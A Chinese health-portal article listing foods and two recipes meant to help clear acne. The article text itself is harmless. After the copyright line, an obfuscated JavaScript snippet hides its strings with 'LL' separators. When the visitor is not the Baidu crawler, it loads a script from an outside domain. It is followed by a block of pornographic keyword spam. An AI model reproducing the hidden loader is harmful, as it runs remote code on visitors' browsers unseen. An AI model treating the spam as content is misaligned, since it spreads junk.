當前位置:首頁 > 飲食 > 健康飲食 > 正文

長痘吃什么好?祛痘食物大盤點

2016-01-20 13:14:52  來源:360常識網   熱度:
導語:夏天雖然已經快過去,但是臉上的痘痘卻沒有見好的趨勢,怎么辦?關注女性營養很重要,今天小編就和大家分享有什么食物可以快速祛痘,趕緊一起來看一下吧。

長痘吃什么好?祛痘食物大盤點

長痘吃什么好?祛痘食物大盤點

青春痘、粉刺、暗瘡在醫學上統稱為痤瘡,是常見的一種皮脂腺慢性病,其成因是青春期時,體內的荷爾蒙會刺激毛發生長,皮脂腺分泌旺盛,導致毛孔堵塞形成一個粉刺的核心——微粉刺。微粉刺是看不見的,一個微粉刺從形成到長出皮膚表面需要7到9個月的生長期。微粉刺堵塞毛孔誘發炎癥,是丘疹、膿包、結節和囊腫的始發根源。傳統治療只是清除表面的粉刺,而微粉刺停一段時間又長出來,于是形成了痤瘡反復發作的局面。

祛痘食物

一、多吃富含維生素A豐富的食物。維生素A能促進上皮細胞的增生,可調節皮膚汗腺,消除粉刺。含維生素A豐富的食物有動物肝臟、胡蘿卜、韭菜、菠菜、牛奶等。

二、多吃些含維生素B2豐富的食物。維生素B2能保持人體激素平衡,對皮膚有保護作用。含維生素B2豐富的食物有綠葉蔬菜、蛋類、動物內臟、奶類等。

三、多吃含維生素B6豐富的食物。主要有動物肝臟、腎、蛋黃、奶類、干酵母、谷麥胚芽、魚類和蔬菜(胡蘿卜、菠菜、香菇)。

四、多吃含鋅豐富的食物。這類食物有牡蠣、動物肝臟、瘦肉、奶類、蛋類等,其中以牡蠣等海產品中較多。

五、多吃清涼食物。這類食物主要是蘑菇、銀耳、黑木耳、芹菜、苦瓜、黃瓜、冬瓜、茭白、綠豆芽、黃豆、豆腐、蓮藕、西瓜、梨等。

六、忌吃辛辣刺激性食物,少吃脂肪性食物。

祛痘美味菜肴

炒藕片

材料:鮮藕400克,紅燈籠椒1棵,切碎,鹽3克,味精3克,青蔥2棵,香油3克。

做法:

1、鮮藕切薄片,過一下清水;紅燈籠椒去籽拍碎切丁;青蔥切蔥花。

2、將藕片在沸水中燙1分鐘撈出;過冷水瀝干。

3、炒鍋置火上,放油熱至7成;下藕片、紅椒丁、鹽翻炒2分鐘;下味精調味即可出鍋裝盤,滴上香油,撒上蔥花即可上桌。

冬瓜薏米燉鴨湯

材料:米鴨1/2只,冬瓜300公克,薏米1大匙,老姜50公克,水800㏄,鹽1小匙。

做法:

1、米鴨剁小塊,放入滾水汆燙2分鐘撈出備用。

2、薏米洗凈,泡清水1小時,瀝干水分備用。

3、老姜去皮切片備用。

4、將作法1~3的所有食材、冬瓜、水和調味料,放入電子鍋內鍋,按下「煮飯」鍵,煮至開關跳起,掀開鍋蓋撈出浮油及姜片即可。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
老司机99精品99| 亚洲精品美女久久7777777| 国产偷窥熟女精品视频| 99久久99久久精品| 久久精品国产99久久丝袜| 无码人妻精品一区二区三区久久久| 国产精品人成在线播放新网站| 精品99在线观看| 日韩精品一卡2卡3卡4卡新区乱码 日韩精品一线二线三线优势 | 91精品天美精东蜜桃传媒入口 | 国产精品白浆无码流出| 亚洲精品国产电影午夜| 久久精品这里热有精品| 国产A∨免费精品视频| 蜜桃精品免费久久久久影院| 亚洲精品福利在线观看| 久久这里只有精品首页| 精品免费久久久久国产一区| 国产精品久久久久久久久99热| 亚洲精品无码专区| 亚洲精品视频免费在线观看| 精品国产品香蕉在线观看75| 精品国产青草久久久久福利| 国产精品99re| 精品伊人久久久香线蕉| 国产精品资源在线观看网站| 91精品免费不卡在线观看| 久久99国产精品一区二区| 久久国产精品免费一区| 综合91在线精品| 国产精品成人99一区无码| 无码aⅴ精品一区二区三区| 免费精品国产自产拍在线观看图片| 99热这里只有精品66| 久久亚洲AV无码精品色午夜麻| 久久99精品久久久久久不卡| 国产va免费精品| 国产va免费精品| 国产精品免费大片一区二区| 亚洲精品黄色视频在线观看免费资源 | 精品一区二区三区无码免费直播|